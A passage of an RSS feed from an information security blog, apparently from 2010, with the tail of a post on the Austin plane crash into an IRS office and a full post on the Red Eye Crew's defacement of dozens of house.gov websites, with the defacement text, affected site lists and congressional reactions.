<div id="attachment_3374" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/02/suicide_note.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/02/suicide_note.jpg" alt="The suicide note as it originally appeared." title="suicide_note" width="750" height="501" class="size-full wp-image-3374" /></a><p class="wp-caption-text">The suicide note as it originally appeared.</p></div>
<br /></p>

<p>The FBI and CIA also have offices in the same building complex. This particular IRS office is home to a group called the EP Team Audit Program, which examines employee benefit plans with 2,500 or more participants.</p>

<h3>Terrorism?</h3>

<p><div id="attachment_3388" class="wp-caption alignleft" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/02/officebuilding.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/02/officebuilding-300x259.jpg" alt="The Echelon Building Burning." title="officebuilding" width="300" height="259" class="size-medium wp-image-3388" /></a><p class="wp-caption-text">The Echelon Building Burning.</p></div>

<p>Well certainly not the kind that one would think of with regards to foreign religious ideological based groups, such as Al Qaeda, but let&#8217;s take a closer look at what the definition of terrorism really is:</p>

<p><i>(the calculated use of violence (or the threat of violence) against civilians in order to attain goals that are political or religious or ideological in nature; this is done through intimidation or coercion or instilling fear)</i> -Princeton.edu</p>

<p>Well, one could make argument that this was a decision to commit suicide in a very public way (crashing planes into buildings is certainly an attention getter), to further his views as outlined in the manifesto he wrote, or that this was an attempt to incite some sort of movement by his actions. Regardless, there was an attempt to incite fear. The deliberate use of an airplane as the method of attack, along with the parallels it invokes, are no accident. These characteristics place this as, albeit minor given the no reported deaths, an act of domestic terrorism.</p>

<blockquote>
  <p>“I am finally ready to stop this insanity.  Well, Mr. Big Brother IRS man, let&#8217;s try something different; take my pound of flesh and sleep well.” <br />- Joseph Stack</p>
</blockquote>

<h3>Is the Letter a Hoax?</h3>

<p>We do not think so. Let&#8217;s explore this a little, first looking at the whois results for this http://embeddedart.com/ web site. The person listed as the administrative contact is the same person being identified as the pilot, Joseph Stack. Further the web site was not registered recently, its been around for seven years. Finally, while we&#8217;ve been impressed with the complexity of Internet hoaxes in the past, its not easy to write a well thought out essay of 3,202 words in less than two hours.</p>

<pre><code>Administrative Contact:
Stack, Joe dns.5.sgmail@dfgh.net
925 E Hwy 80
287
San Marcos, TX 78666
US
1.3215649879
Technical Contact:
Stack, Joe dns.5.sgmail@dfgh.net
925 E Hwy 80
287 San Marcos, TX 78666
US
1.3215649879

Registrar of Record: TUCOWS, INC.
Record last updated on 16-Sep-2006.
Record expires on 05-Jun-2010.
Record created on 05-Jun-2003.
</code></pre>

<p>So this does appear to be as it outwardly appears: the last essay of an American suicide bomber with a serious beef against the IRS.</p>

<h3>A Software Engineer</h3>

<p>Looking at the previous form of Stack&#8217;s web site, before it hosted an anti-tax manifesto, it advertised his software contracting services:</p>

<p><div id="attachment_3368" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/02/website_1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/02/website_1.jpg" alt="Joseph Stack Web Site" title="website_1" width="750" height="598" class="size-full wp-image-3368" /></a><p class="wp-caption-text">Joseph Stack Web Site</p></div>
<br /></p>

<h4>Company Mission</h4>

<pre><code>To advance the art of programming, one project at a time; by achieving an optimum balance between
 cost, schedule, functionality, reliability, and maintainability. 
</code></pre>

<h4>Resume</h4>

<p>Stack&#8217;s software experience (resume): <a href='http://praetorianprefect.com/wp-content/uploads/2010/02/Embedded-Art-Key-Environment-Components.pdf'>Embedded Art &#8211; Key Environment Components</a>.</p>

<h4>Software Projects</h4>

<p><div id="attachment_3369" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/02/website_projects.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/02/website_projects.jpg" alt="Listed customer projects from Joseph Stack&#039;s web site." title="website_projects" width="750" height="598" class="size-full wp-image-3369" /></a><p class="wp-caption-text">Listed customer projects from Joseph Stack's web site.</p></div>
<br /></p>

<h3>Stack&#8217;s Home Location</h3>

<p>According to his web site, his address appears to be a condominium unit:</p>

<pre><code>6001 W. Parmer Ln., #370-167
Austin, TX 78727
</code></pre>

<p><div id="attachment_3370" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/02/condo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/02/condo-300x218.jpg" alt="Condo address listed on Stack&#039;s web site." title="condo" width="300" height="218" class="size-medium wp-image-3370" /></a><p class="wp-caption-text">Condo address listed on Stack's web site.</p></div>
<br /></p>

<p>However this may be old, as another web site is reporting the address to be: 1827 Dapplegray Lane. This makes more sense when combined with the house burning video below (there is a fence/wall in both).</p>

<p><div id="attachment_3371" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/02/dapplegray.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/02/dapplegray-300x204.jpg" alt="The address listed as Stack&#039;s on media web sites." title="dapplegray" width="300" height="204" class="size-medium wp-image-3371" /></a><p class="wp-caption-text">The address listed as Stack's on media web sites.</p></div>
<br /></p>

<p>If this is really his house, its a nice place for a guy with tax problems:
<div id="attachment_3384" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/02/Screen-shot-2010-02-18-at-3.49.12-PM.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/02/Screen-shot-2010-02-18-at-3.49.12-PM-300x216.png" alt="House listed on media outlets as Joseph Stack&#039;s." title="Screen shot 2010-02-18 at 3.49.12 PM" width="300" height="216" class="size-medium wp-image-3384" /></a><p class="wp-caption-text">House listed on media outlets as Joseph Stack's.</p></div>
<br /></p>

<p>Either way, this was what the house looked like this morning:</p>

<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/ojoWY_Fy6Bk&#038;color1=0xb1b1b1&#038;color2=0xcfcfcf&#038;hl=en_US&#038;feature=player_embedded&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"></param><embed src="http://www.youtube.com/v/ojoWY_Fy6Bk&#038;color1=0xb1b1b1&#038;color2=0xcfcfcf&#038;hl=en_US&#038;feature=player_embedded&#038;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="425" height="344"></embed></object>
<br /></p>

<h3>A Wrong Reaction</h3>

<p>So other than being a homeland security issue, why would a humble information security blog find this interesting? Well it is always interesting to us how people handle incident response.</p>

<p>The DHS Journal reported the following via Twitter: &#8220;Small plane crash into private office bldg in Austin, TX. Cause unknown, but no known link to terrorism.&#8221;</p>

<p>White House spokesman Robert Gibbs also weighed in, saying it was not an attack.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2009/10/dhs-responds-to-us/">DHS Responds to Us</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/02/was-the-austin-plane-crash-domestic-terrorism/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Congressional Web Site Defacements Follow the State of the Union</title>
		<link>http://praetorianprefect.com/archives/2010/01/congressional-web-site-defacements-follow-the-state-of-the-union/</link>
		<comments>http://praetorianprefect.com/archives/2010/01/congressional-web-site-defacements-follow-the-state-of-the-union/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 09:46:14 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Web Site Defacement]]></category>
		<category><![CDATA[congress]]></category>
		<category><![CDATA[redeye]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3236</guid>
		<description><![CDATA[Shortly after President Obama's State of the Union address, constituents visiting the web sites of Congressional representatives like Charles Gonzalez (20th District of Texas), Spencer Bachus (Alabama's 8th District), and Brian Baird (Washington's 3rd District) were presented with a defacement message from the Red Eye Crew that as of 4:10 am EST remains up on their web sites. All of the sites affected are in the house.gov domain, but not every congressional site in the domain is defaced.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/US-Capitol.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/US-Capitol-150x150.jpg" alt="" title="US Capitol" width="75" height="75" class="alignleft size-thumbnail wp-image-3243" /></a></p>

<p>Shortly after President Obama&#8217;s State of the Union address, constituents visiting the web sites of Congressional representatives like Charles Gonzalez (20th District of Texas), Spencer Bachus (Alabama&#8217;s 8th District), and Brian Baird (Washington&#8217;s 3rd District) were presented with a defacement message from the Red Eye Crew that as of 4:10 am EST remains up on their web sites. All of the sites affected are in the house.gov domain, but not every congressional site in the domain is defaced.</p>

<h3>The Defacement</h3>

<p>The sites were defaced to simply show the following line of text:</p>

<pre><code>FUCK OBAMA!! Red Eye CREW !!!!! O RESTO E HACKER !!! by m4V3RiCk ; HADES ; T4ph0d4 -- FROM BRASIL
</code></pre>

<p><div id="attachment_3258" class="wp-caption alignleft" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/hacked.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/hacked.png" alt="Official web site for Representative John Barrow (D - GA)." title="hacked" width="750" height="398" class="size-full wp-image-3258" /></a><p class="wp-caption-text">Official web site for Representative John Barrow (D - GA).</p></div>
<br /></p>

<p>O RESTO E HACKER is Portuguese, roughly &#8220;The rest are hackers&#8221;.</p>

<h3>Affected Sites</h3>

<p>Here is a list of Congressional members web sites that we noted were affected last night. The full list, 49 web sites, attached below as Appendix A, was released on the 28th.</p>

<pre><code>http://www.joewilson.house.gov/

http://bachus.house.gov/


http://www.baird.house.gov/


http://www.barrow.house.gov/


http://www.gonzalez.house.gov/


http://mcnerney.house.gov/


http://mikepence.house.gov/


http://driehaus.house.gov/


http://carson.house.gov/


http://campbell.house.gov/


http://doggett.house.gov/


http://coffman.house.gov/


http://www.kosmas.house.gov/


http://hersethsandlin.house.gov/


http://lujan.house.gov/


http://www.mccollum.house.gov/


http://teague.house.gov/


http://mitchell.house.gov/


http://www.roe.house.gov/


http://www.lofgren.house.gov/


http://carnahan.house.gov/


http://www.chrismurphy.house.gov/


http://hunter.house.gov/


http://olver.house.gov/


http://arcuri.house.gov/


http://olver.house.gov/


http://tierney.house.gov/

</code></pre>

<p>A few committee sites were affected as well:</p>

<pre><code>http://republicans.financialservices.house.gov/

http://republicans.oversight.house.gov/


http://gop.cha.house.gov/

</code></pre>

<h3>Defaced Sites Normal Appearance</h3>

<p>Here are a few examples of what the now defaced sites normally look like:</p>

<p><div id="attachment_3245" class="wp-caption alignleft" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/bachus.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/bachus-300x191.png" alt="The Spencer Bachus site on better days." title="bachus" width="300" height="191" class="size-medium wp-image-3245" /></a><p class="wp-caption-text">The Spencer Bachus site on better days.</p></div>
<br /></p>

<p><div id="attachment_3246" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/gonzalez.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/gonzalez-300x191.png" alt="The Charles Gonzalez site on better days." title="gonzalez" width="300" height="191" class="size-medium wp-image-3246" /></a><p class="wp-caption-text">The Charles Gonzalez site on better days.</p></div>
<br /></p>

<h3>The RedEye Crew</h3>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/redeye.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/redeye.png" alt="redeye" title="redeye" width="150" height="151" class="alignleft size-full wp-image-3254" /></a>
The Red Eye Crew has been around for a while, and have thousands of web site defacements to their credit. One member, handle HADES, defaced 453 government sites in Brazil last August through a reported SQL Injection. A quick review of the defacements captured at Zone-H <a href="http://www.zone-h.org/archive/notifier=Red%20Eye">shows 45,735 defacements</a>, primarily mass defacements. At one point they were doing tongue in cheek dedications to the memory of <a href="http://en.wikipedia.org/wiki/Elizabeth_B%C3%A1thory">Elizabeth Bathory</a>, a prolific female serial killer from the Middle Ages.</p>

<p>Last August, they defaced the web site of Old Dominion University with a message in Portugese, supporting their being a Brazilian team. The team has also defaced a number of Brazilian web sites. These two points are alongside the fact that they come right out and say that they&#8217;re from Brazil.</p>

<h3>Not the First Time Around</h3>

<blockquote>
  <p>&#8220;those were default passwords, meant to be changed by the Representatives&#8217; offices.&#8221; <br />GovTrends</p>
</blockquote>

<p>As one of our readers astutely pointed out, these sites are managed by a third party provider called <a href="http://switch2govtrends.com/">GovTrends</a> a Virginia web development company with the somewhat ironic phrase <i>&#8220;You get what you pay for&#8221;</i> on their web site.  Last August at least 18 congressional member sites managed by the same vendor were defaced by Indonesian cracker <a href="http://www.zone-h.com/archive/notifier=3n_byt3">3n_byt3 (1164 defacements to his credit)</a>, a result of a reported login to the administrative portion of the sites with a default password according to GovTrends, in an apparent attempt to deflect blame for the attack back to House staffers.</p>

<p>This explanation actually makes little sense, because the defacer added a news item to each page stating: <i>H4ck3d by 3n_byt3 @ Indonesia H4ck3rs</i>. If he had full administrative access to the CMS platform, the defacement would have been a full page defacement, not an injection into a news item on the site. The problem was much more likely an SQL injection, potentially the <a href="http://securityreason.com/exploitalert/7501">Joomla Component News SQL Injection vulnerability</a>.</p>

<p><div id="attachment_3266" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/01/3n_byt3.JPG"><img src="http://praetorianprefect.com/wp-content/uploads/2010/01/3n_byt3.JPG" alt="Senator Edwards site defacement from last August." title="3n_byt3" width="750" height="321" class="size-full wp-image-3266" /></a><p class="wp-caption-text">Senator Edwards site defacement from last August.</p></div>
<br /></p>

<h3>And Then It Got Awkward</h3>

<blockquote>
  <p>&#8220;It is extremely important that my constituents can trust that information provided to my office is kept confidential and secure.&#8221; <br />Rep. Spencer Bachus</p>
</blockquote>

<p>After the attack in August Representative Spencer Bachus sent a letter to the CAO (Chief Administrative Officer) of the House, asking essentially for two things: actual details of the attack and a plan for notification of these incidents in the future, as shared with Brian Krebs.</p>

<p>You can read the full letter here: <a href='http://praetorianprefect.com/wp-content/uploads/2010/01/BachusLetter.pdf'>BachusLetter</a>.</p>

<p>In the letter he states <i>&#8220;GovTrends refused to provide copies of the logs of the intrusion&#8221;</i> and referred all questions to the HIR (House Information Resources), while at the same time telling the press the default password theory. Its completely unclear why Representative Bachus, who appeared to be the only one publicly calling for a review of the logs by someone with forensics expertise, was denied being able to do this.</p>

<p>The risk of a breach and defacement is born fully by him, as the web site is in his name, and thus the request for a proper investigation by a computer forensics expert the correct instinct in this scenario. By not conducting a proper review of the attack in August, and conducting a web application vulnerability assessment following that, there was little hope of preventing future defacements such as the one today.</p>

<h3>So How did they get in?</h3>

<blockquote>
  <p>&#8220;Over the last year the House has continued aggressively fortifying its security systems.&#8221;<br />Jeff Ventura, CAO spokesman, August 7th, 2009</p>
</blockquote>

<p>Unfortunately, we won&#8217;t know that until someone who manages house.gov provides some details. Server access seems unlikely, because while the sites we checked are hosted on dcserver1.house.gov, not every site hosted on that server is defaced (example congressman Joe Sestak&#8217;s web site was fine). The sites are not redirecting anywhere.</p>

<p>Congress members seem to be able to use different content management systems for updating their web sites. For example, Michelle Bachmann&#8217;s site uses a tool called <a href="http://www.fireside21.com">Fireside</a>, a content management system targeted towards members of Congress. That site returns firesideweb.house.gov as the server, whereas the defaced sites we checked return dcserver1.house.gov. All of the defaced sites we saw have one commonality, and that is that they are run on the <a href="http://www.joomla.org/">Joomla content management system</a>.</p>

<p>But not all of the Joomla CMS web sites are affected. For example a comment tag indicates that sites http://ellison.house.gov and http://kirkpatrick.house.gov are using Joomla, but they were not defaced. This might indicate that it is a Joomla component that is to blame, however that is just speculation.</p>

<p>Joomla has had its share of security vulnerabilities in the past (as <a href="http://osvdb.org/vendor/4358-joomla/1">shown in the OSVDB</a>). Don&#8217;t waste time discussing historical vulnerabilities in Joomla or its extensions however, like all popular complex web content platforms configuration by the web site operators is important and it is their responsibility to ensure a patched installation with a secure configuration (like no default passwords). Only when an installation is fully updated and a zero day or improperly reported vulnerability is introduced based on a careless mistake, can the platform come into serious question.</p>

<p>Regardless, only the person who has access to the server the sites are running on and performs the forensic analysis will be able to tell exactly what happened. Hopefully they will release some sort of statement.</p>

<h3 id="updates">Updates &#8211; 1/28/09</h3>

<p>Representatives John Boehner and Nancy Pelosi want to know what happened, as detailed in a letter sent to the House CAO today:</p>

<pre><code>January 28, 2010

The Honorable Daniel P. Beard
Chief Administrative Officer
U.S. House of Representatives
Washington, DC 20515

Dear Mr. Beard:

We request that you initiate an immediate and comprehensive assessment of how hackers were able to 
deface the websites of nearly fifty House Members and Committees last night.

In the past, we jointly requested that your office review and tighten cybersecurity protections designed 
to ensure that congressional offices and committees are safeguarded from unauthorized intrusions. We 
appreciate the efforts you and your cybersecurity team have taken to tighten firewalls, as well as more 
recent efforts to ensure that official mobile communications devices are secure from hacking and other 
intrusions.

However, last night's actions indicate that further review of security procedures are needed. From initial 
reports, these intrusions appear to be related to one website vendor which has had previous security 
failures. While many Members have expressed satisfaction with the vendor in question, this is the second 
time in a year websites hosted and supported by this vendor have been compromised. We therefore request 
that your office work with the Committee on House Administration to review the security standards for House 
vendors and to assess whether this vendor, and others, have adhered to those standards. We also request 
that you take immediate action to protect against breaches of the House firewalls and to ensure website 
security of all House offices.

Thank you for your attention to this matter.

Sincerely,


NANCY PELOSI                      JOHN BOEHNER
Speaker                               Republican Leader

Cc: The Honorable Robert A. Brady
Chairman, Committee on House Administration

The Honorable Dan Lungren
Ranking Member, Committee on House Administration
</code></pre>

<p>SOURCE <a href="http://www.speaker.gov/newsroom/pressreleases?id=1523">Office of the Speaker of the House</a></p>

<hr />

<p>Some outlets are reporting that this was &#8220;an attack on the site&#8217;s of Democrats&#8221;. Note that one of the first sites we saw was defaced was that of Republican Congressman Joe Wilson from South Carolina. &#8220;You lie!&#8221;-nope, its true.</p>

<hr />

<p>SC Magazine <a href="http://www.scmagazineus.com/hackers-deface-49-us-house-websites/article/162576/">got a reaction</a> from Jeff Ventura, spokesman for the Office of the Chief Administrative Officer (CAO) in the U.S. House: <i>“None of the sites we host and manage internally at the House are impacted, it was through no action of ours that this breach occurred.”</i>.</p>

<p>The server appears to be the same as many of the other representative&#8217;s sites, so a full abdication of responsibility to the vendor, especially at this early stage without a statement from a qualified computer forensics resource, would seem to be inappropriate.  Further the question for the CAO as well as the affected members of Congress is why they stuck with the same vendor after the August breach and the subsequent refusal to provide a detailed analysis or logs that could be reviewed by a computer security expert. Finally the organization with the overall responsibility for information technology must regularly vet vendors they use.</p>

<hr />

<p>Then the associated press reported this:</p>

<p><i>Ventura says the vendor was performing an update and for a brief moment let its guard down. That was long enough to allow the hacker to penetrate the sites.</i></p>

<p>Without further information this makes little sense. It is a classic response to elevate the cracker by saying that they caught you in a moment of &#8216;letting your guard down&#8217;, further the &#8220;we were upgrading systems&#8221; response is always thought better than the &#8220;a vulnerability was out there for x amount of time&#8221; response. What maintenance allowed a cracker to get in and how did they happen to get to you in that short window? It does happen sometimes, but its unusual and usually still based on an IT error, even in sites that are under constant external probing by bad actors.</p>

<p>Further evidence would have to be provided for this to be an acceptably plausible theory of what happened, especially in light of the scant details and somewhat problematic explanation of the August attack.</p>

<hr />

<p>Ventura stated <a href="http://www.politico.com/news/stories/0110/32145.html">to Politico</a>:</p>

<p><i>&#8220;I think what you’re going to see going forward is an insistence to the adherence of policy, as opposed to just the suggestion that the policy standard has to be a certain level.”</i></p>

<p>This is actually somewhat similar to what was stated the last time around. If I&#8217;m a member of Congress whose reputation is being affected, at this point I&#8217;m calling for a computer forensics team from a reputable company to come in for an evaluation and tell me a reasonable theory of how this breach happened. Then I&#8217;m releasing a statement, identifying the expert firm I called in to do the evaluation, so that people understand that a serious investigation took place.  Further I&#8217;m getting a web vulnerability assessment done on the house.gov web properties. These two actions don&#8217;t offer any guarantee of perfect forward security, but they make a big difference.</p>

<p>At the same time Govtrends is being painted as stonewalling: <i>&#8220;GovTrends employees did not return multiple phone or email messages seeking comment.&#8221;</i> And Ventura states “We’re discussing our options,”.</p>

<hr />

<p>RedEye also defaced three Brazilian government web sites last night (addresses below) with the following message:</p>

<pre><code>Red Eye Crew! Owned by HADES &amp;&amp; m4V3R1ck
</code></pre>

<pre><code>www.cedasc.ba.gov.br 
www.cti.gov.br 
itapiranga.cti.gov.br 
</code></pre>

<hr />

<p>Finally in a piece of completely unrelated but somewhat coincidental circumstance, Joomla.org, the project homepage of the Joomla CMS used by the Congressional sites, was itself defaced by the same Red Eye Crew back in August of 2008.</p>

<pre><code>H A C K E D !

joomla.org owned!


Red Eye CREW

owned joomla.org =)

m4V3RiCk - W4n73d - _dDoS_

by m4v3rick

"That´s all Folks!!"
</code></pre>

<h3>Appendix A &#8211; Full list of Affected Sites</h3>

<pre><code>altmire.house.gov
arcuri.house.gov
bachus.house.gov
baird.house.gov
barrow.house.gov
bilirakis.house.gov
boccieri.house.gov
bright.house.gov
campbell.house.gov
carnahan.house.gov
carson.house.gov
charliewilson.house.gov
childers.house.gov
coffman.house.gov
dahlkemper.house.gov
davis.house.gov
doggett.house.gov
driehaus.house.gov
energycommerce.house.gov
gonzalez.house.gov
gop.cha.house.gov
hersethsandlin.house.gov
honda.house.gov
hunter.house.gov
joewilson.house.gov
kirk.house.gov
kosmas.house.gov
larson.house.gov
lipinski.house.gov
lofgren.house.gov
lujan.house.gov
mccollum.house.gov
mcnerney.house.gov
mikepence.house.gov
mitchell.house.gov
mollohan.house.gov
murphy.house.gov
murtha.house.gov
olver.house.gov
quigley.house.gov
republicans.financialservices.house.gov
republicans.oversight.house.gov
resourcescommittee.house.gov
roe.house.gov
schakowsky.house.gov
shea-porter.house.gov
teague.house.gov
tierney.house.gov
welch.house.gov 
</code></pre>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/newsweek-reports-zombie-invasion/">Newsweek Reports Zombie Invasion</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/going-after-bp/">Going After BP</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/umm-techcrunch-defacement-two-in-24-hours/">Umm&#8230;TechCrunch? Defacement Two in 24 Hours</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/techcrunched-techcrunch-the-victim-of-a-defacement/">TechCrunched &#8211; TechCrunch the Victim of a Defacement</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/baidu-com-the-latest-victim-of-iranian-cyberarmy/">Baidu.com the Latest Victim of Iranian CyberArmy</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/01/congressional-web-site-defacements-follow-the-state-of-the-union/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
	</channel>
</rss>
